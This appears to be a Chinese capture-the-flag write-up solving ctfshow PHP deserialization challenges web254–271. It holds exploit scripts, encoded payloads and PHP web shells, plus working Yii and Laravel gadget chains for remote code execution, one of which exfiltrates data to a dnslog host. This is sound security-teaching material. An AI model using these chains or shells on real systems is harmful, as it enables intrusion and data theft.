web254 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser (); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
代码审计,首先初始ctfshowuser类,在第二层if当中首先执行login方法,用于判断我们get传入的参数username和password是否与类中一致,发现用户名和密码都是xxxxxx,所以payload:?username=xxxxxx&password=xxxxxx
即可获取flag
web255 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
首先通过反序列化获取对象(序列化将对象保存到字符串,反序列化将字符串恢复为对象),之后 checkvip要求是true,之后执行vippnekeygetflag获取flag
1 2 3 4 5 6 7 8 <?php class ctfShowUser { public $isVip =true ; }$a = serialize (new ctfShowUser ());echo urlencode ($a );?>
payload:
1 2 ?username= xxxxxx&password= xxxxxx Cookie: user= O%3 A11 %3 A%22 ctfShowUser%22 %3 A1 %3 A%7 Bs%3 A5 %3 A%22 isVip%22 %3 Bb%3 A1 %3 B%7 D
web256 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
1 2 3 4 5 6 7 8 9 <?php class ctfShowUser { public $username ='yn8rt' ; public $isVip =true ; }$a = serialize (new ctfShowUser ());echo urlencode ($a );?>
增加了一个条件,让username!=password就行
1 2 ?username= yn8 rt&password= xxxxxx Cookie:user= O%3 A11 %3 A%22 ctfShowUser%22 %3 A2 %3 A%7 Bs%3 A8 %3 A%22 username%22 %3 Bs%3 A5 %3 A%22 yn8 rt%22 %3 Bs%3 A5 %3 A%22 isVip%22 %3 Bb%3 A1 %3 B%7 D
web257 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); }
代码审计,魔法函数_construct当对象被创建的时候自动调用,对对象进行初始化,当所有的操作执行完毕之后,需要释放序列化的对象,触发_destruct()魔术方法
因此我们只需要在执行_construct()的时候初始化backDoor类,方便我们进行命令执行的利用,之后反序列化结束后,会执行_destruct(),此时eval($this->code);等价于eval(system(‘cat flag.php’);)
因此为了实现这个目的首先去掉我们不需要的info类,下面 构造pop链(由于配上private有特殊不可见字符不想手动处理所以进行url编码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new backDoor (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ="system('cat flag.php');" ; public function getInfo ( ) { eval ($this ->code); } } echo urlencode (serialize (new ctfShowUser ()));
payload:
1 2 username =xxxxxx&password=xxxxxxCookie :user=O%3 A11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A21%3 A%22 %00 ctfShowUser%00 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A21%3 A%22 %00 ctfShowUser%00 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 isVip%22 %3 Bb%3 A0%3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 class%22 %3 BO%3 A8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A14%3 A%22 %00 backDoor%00 code%22 %3 Bs%3 A23%3 A%22 system%28 %27 cat+flag.php%27 %29 %3 B%22 %3 B%7 D%7 D
web258 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 class ctfShowUser{ public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct(){ $this ->class =new info(); } public function login($u ,$p ){ return $this ->username===$u &&$this ->password===$p ; } public function __destruct(){ $this ->class ->getInfo(); } }class info{ public $user ='xxxxxx' ; public function getInfo(){ return $this ->user; } }class backDoor{ public $code ; public function getInfo(){ eval($this ->code); } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset($username ) && isset($password )){ if (!preg_match('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize($_COOKIE ['user' ]); } $user ->login($username ,$password ); }
多了一个正则匹配if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
意思为过滤O:数字 这种情况可用+绕过,如:O:+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new backDoor (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ="system('cat flag.php');" ; public function getInfo ( ) { eval ($this ->code); } } $a =serialize (new ctfShowUser ());$a =str_replace ('O:' ,'O:+' ,$a );echo urlencode ($a );
payload:
1 2 ?username= 1 &password= 1 Cookie:user= O%3 A%2 B11 %3 A%22 ctfShowUser%22 %3 A4 %3 A%7 Bs%3 A8 %3 A%22 username%22 %3 Bs%3 A6 %3 A%22 xxxxxx%22 %3 Bs%3 A8 %3 A%22 password%22 %3 Bs%3 A6 %3 A%22 xxxxxx%22 %3 Bs%3 A5 %3 A%22 isVip%22 %3 Bb%3 A0 %3 Bs%3 A5 %3 A%22 class%22 %3 BO%3 A%2 B8 %3 A%22 backDoor%22 %3 A1 %3 A%7 Bs%3 A4 %3 A%22 code%22 %3 Bs%3 A23 %3 A%22 system%28 %27 cat+flag.php%27 %29 %3 B%22 %3 B%7 D%7 D
web260 1 2 3 4 5 include ('flag.php' );if (preg_match ('/ctfshow_i_love_36D/' ,serialize ($_GET ['ctfshow' ]))){ echo $flag ; }
正则匹配,直接输出flag
1 2 3 4 5 6 7 8 <?php class ctfshow {public $a ='ctfshow_i_love_36D' ; }$b =serialize (new ctfshow ());echo urlencode ($b );
web261 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file (__FILE__ );class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents ($this ->username, $this ->password); } } }unserialize ($_GET ['vip' ]);
当code==0x36d(877),就可以写入文件
1 2 3 if ($this ->code==0x36d ){ file_put_contents($this ->username, $this ->password); }
code的值在反序列化的时候传入,所以username应该为877+非数字,这样就满足$this->code==0x36d
条件了,弱比较877==877.php为真,username可以写成php,和passowrd写成一句话木马,
1 2 3 4 5 public function __unserialize($data ){ $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; }
PHP7.4.0+版本,如果类中同时定义了_unserialize()和_wakeup()两个魔术方法,则只有_unserialize()方法会生效,_wakeup()方法会忽略
构造username和password的值把shell写入文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class ctfshowvip { public $username ; public $password ='' ; public $code ='' ; public function __construct ( ) { $this ->username='877.php' ; $this ->password='<?php eval($_POST[1]);?>' ; } }echo urlencode (serialize (new ctfshowvip ()));?>
payload
1 ?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval %28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3Bs%3A0%3A%22%22%3B%7D
然后进入877.php中,POST 1=system(‘cat /f*’);
web262 本题有两种解法,直接构造类和字符逃逸 解法一: 注释中有一个.php文件,直接进入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
最下面的if的意思是在cookie中给msg传入message序列化后进行base64编码的值,token值是可以改变的,把token变为admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class message { public $from ; public $msg ; public $to ; public $token ='admin' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }echo base64_encode (serialize (new message ()));?>
payload:
1 Cookie:mag=Tzo3 OiJtZXNzYWdlIjo0 OntzOjQ6 ImZyb20 iO047 czozOiJtc2 ciO047 czoyOiJ0 byI7 TjtzOjU6 InRva2 VuIjtzOjU6 ImFkbWluIjt9
解法二:字符逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }$msg = new message ("1" ,"2" ,'fuck' );$umsg = str_replace ('fuck' , 'loveU' , serialize ($msg ));echo serialize ($msg );echo $umsg ;
对比字符前后序列化字符的长度的值,过滤后$to的长度是4,但里面有5个字符,这时候进行反序列化,实际上也只会截取4个字符,原本U后面的引号前移一位,这时候就会逃逸出一个字符U,很显然短变成长,每次转换多一个字符从fuck变为loveU,就会多逃逸一个字符s:4:"love"U;s:5:"token";s:4:"user";}
1 2 3 4 前: s:2 :"to" ;s:4 :"fuck" ;s:5 :"token" ;s:4 :"user" ;} 后: s:2 :"to" ;s:4 :"loveU" ;s:5 :"token" ;s:4 :"user" ;}
这时候,如果我们想让token只变成admin的话,我们可以让它逃逸出来,我们先在$to传入fuck";s:5:"token";s:5:"admin";}
,fuck后要跟引号,原理和sql注入一样,用双引号把$to闭合了,最后用}把反序列化给闭合了,反序列化的时候就会忽略后面的字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }$msg = new message ("1" ,"2" ,'fuck";s:5:"token";s:5:"admin";}' );$umsg = str_replace ('fuck' , 'loveU' , serialize ($msg ));echo serialize ($msg );echo $umsg ;
观察结果,转换前$to的值应该为s:31:"fuck";s:5:"token";s:5:"admin";}"
正好31个字符,转换后会多一个字符,这时候$to的值为s:31:"loveU";s:5:"token";s:5:"admin";"
后面的}逃逸出来了
1 2 3 4 5 前: O:7 :"message" :4 :{s:4 :"from" ;s:1 :"1" ;s:3 :"msg" ;s:1 :"2" ;s:2 :"to" ;s:31 :"fuck" ;s:5 :"token" ;s:5 :"admin" ;}";s:5 :"token" ;s:4 :"user" ;} 后: O:7 :"message" :4 :{s:4 :"from" ;s:1 :"1" ;s:3 :"msg" ;s:1 :"2" ;s:2 :"to" ;s:31 :"loveU" ;s:5 :"token" ;s:5 :"admin" ;}";s:5 :"token" ;s:4 :"user" ;}
这时候进行反序列化的时候实际接收的值应该为{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";"};s:5:"token";s:4:"user";}
(双引号前移一位)
“;s:5:”token”;s:5:”admin”;}的长度为27,要让它逃逸出来,要转换27次才行,我们构造一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }$msg = new message ("1" ,"2" ,'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}' );$umsg = str_replace ('fuck' , 'loveU' , serialize ($msg ));echo serialize ($msg );echo urlencode (base64_encode ($umsg ));
转换前s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}"
正好135位 转换后s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
也正好135位,后面的27位字符”;s:5:”token”;s:5:”admin”;}逃逸出来了,第一个字符”会补上去闭合$to
1 2 3 4 5 前: O:7 :"message" :4 :{s:4 :"from" ;s:1 :"1" ;s:3 :"msg" ;s:1 :"2" ;s:2 :"to" ;s:135 :"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck" ;s:5 :"token" ;s:5 :"admin" ;}";s:5 :"token" ;s:4 :"user" ;} 后: O:7 :"message" :4 :{s:4 :"from" ;s:1 :"1" ;s:3 :"msg" ;s:1 :"2" ;s:2 :"to" ;s:135 :"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU" ;s:5 :"token" ;s:5 :"admin" ;}";s:5 :"token" ;s:4 :"user" ;}
最后反序列化时接收的值到了{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
已经结束了,用}闭合了,后面拼接的”;s:5:”token”;s:4:”user”;}不是反序列化的格式,所以直接被忽略了,这时候通过反序列化就成功把token的值改成admin了
在index.php页面传入,带着cookie去访问message.php,拿到flag
web264 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 );session_start ();class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }$f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); $_SESSION ['msg' ]=base64_encode ($umsg ); echo 'Your message has been sent' ; }highlight_file (__FILE__ );
message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php session_start ();highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_SESSION ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
需要$token='admin';
经过序列化是这样的s:5:"token";s:5:"admin";
,加上闭合";s:5:"token";s:5:"admin";}
一共27个字符,每次替换增加一个字符,需要27个fuck吃掉构造函数的$token=’user’;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php session_start ();highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='admin' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }function filter ($msg ) { return str_replace ('fuck' ,'loveU' ,$msg ); }$msg =new message ('a' ,'b' ,'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}' );$msg_u =serialize ($msg );$msg_1 =filter ($msg_u );echo $msg_1 ;
payload:
1 ?f=a&m =b&t =fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:" token";s:5:" admin";}
在message.php中Cookie:msg=12
web265 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 error_reporting (0 );include ('flag.php' );highlight_file (__FILE__ );class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } }$ctfshow = unserialize ($_GET ['ctfshow' ]);$ctfshow ->token=md5 (mt_rand ());if ($ctfshow ->login ()){ echo $flag ; }
只能改变password的值,因为token下面有赋值,要让$this->token===$this->password,可以用引用类型$this->password = &$this->token;,&和c语言指针类似,取地址
1 2 3 4 5 6 7 8 9 10 11 12 <?php class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ='' ,$p ='' ) { $this ->token=$t ; $this ->password = &$this ->token; } }echo serialize (new ctfshowAdmin ())?>
payload:
1 ?c tfshow=O: 12 :"ctfshowAdmin" : 2 : {s: 5 :"token" ;s: 0 :"" ;s: 8 :"password" ;R: 2 ;}
web266 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php highlight_file (__FILE__ );include ('flag.php' );$cs = file_get_contents ('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } }$ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
destruct会在脚本结束后销毁,而抛出异常导致无法立即执行destruct,所以我们要进行快速析构
原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。
方法 1.改掉属性的个数 2.删掉结尾的}
web267 源码最下面发现使用了yii框架 通过admin/admin登录,在几个页面中挨个查看源码 在about中发现注释的源码<!--?view-source -->
在后面get传数据/index.php?r=site%2Fabout&view-source
得到一个新的代码
1 2 // /backdoor/ shell unserialize(base64_decode($_GET ['code' ]))
继续进入?r=backdoor/shell&code=123
报错了 找一个yii利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'phpinfo' ; $this ->id = '1' ; } } }namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction (), 'run' ]; } } }namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } }namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); }?>
system被过滤了
1 2 3 4 public function __construct(){ $this ->checkAccess = 'shell_exec' ; $this ->id = 'wget `pwd|base64`.n2ybgz.dnslog.cn' ; }
利用dnslog 得到web目录/var/www/html/basic/web(用base64解码)
1 2 3 4 5 public function __construct(){ $this->checkAccess = 'shell_exec'; $this->id = "echo ' <?php eval (\$_POST [g]);?> ' > /var/www/html/basic/web/3.php"; }
进入3.php payload:
1 2 POST: g=system ('cat /flag' );
web268 前面步骤与267相同,admin/admin登录 在输入code时发现没有回显,说明yii链被禁用或者关键词被过滤 所以本题换一种yii链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php namespace yii\rest { class Action extends \yii\base\Action { public $checkAccess; } class IndexAction extends Action { public function __construct($func, $param) { $this ->checkAccess = $func; $this ->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this ->writeCallback = [new \yii\rest\IndexAction ($func, $param), "run" ]; } } } namespace yii\base { class BaseObject { } class Action { public $id; } } namespace yii\db { use yii\base\BaseObject ; class BatchQueryResult extends BaseObject { private $_dataReader; public function __construct($func, $param) { $this ->_dataReader = new \yii\web\DbSession ($func, $param); } } } namespace{ $exp = new \yii\db\BatchQueryResult ('shell_exec', 'echo "<?php eval(\$_POST[g]);?>" > /var /www/html/basic/web/3. php'); echo base64_encode(serialize($exp)); }
进入3.php payload
1 2 POST: g=system ('cat /flags' );
web269 与web268相同,使用同样的yii链 进入3.php
1 2 POST: g=system ('cat /flagsa' );
web270 与web268相同,使用同样的yii链 进入3.php
1 2 POST: g=system ('cat /flagsa' );
web271 根据 * Laravel - A PHP Framework For Web Artisans可知用的是Laravel框架 Laravel框架有直接可以使用的反序列化链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php namespace Illuminate \Foundation \Testing { class PendingCommand { protected $command ; protected $parameters ; protected $app ; public $test ; public function __construct ($command , $parameters ,$class ,$app ) { $this ->command = $command ; $this ->parameters = $parameters ; $this ->test=$class ; $this ->app=$app ; } } }namespace Illuminate \Auth { class GenericUser { protected $attributes ; public function __construct (array $attributes ) { $this ->attributes = $attributes ; } } }namespace Illuminate \Foundation { class Application { protected $hasBeenBootstrapped = false ; protected $bindings ; public function __construct ($bind ) { $this ->bindings=$bind ; } } }namespace { $genericuser = new Illuminate \Auth \GenericUser ( array ( "expectedOutput "=>array ("0"=>"1"), "expectedQuestions "=>array ("0"=>"1") ) ); $application = new Illuminate\Foundation\Application ( array ( "Illuminate\Contracts\Console\Kernel" => array ( "concrete" =>"Illuminate\Foundation\Application" ) ) ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand ( "system" ,array ('tac /f*' ), $genericuser , $application ); echo urlencode (serialize ($pendingcommand )); }?>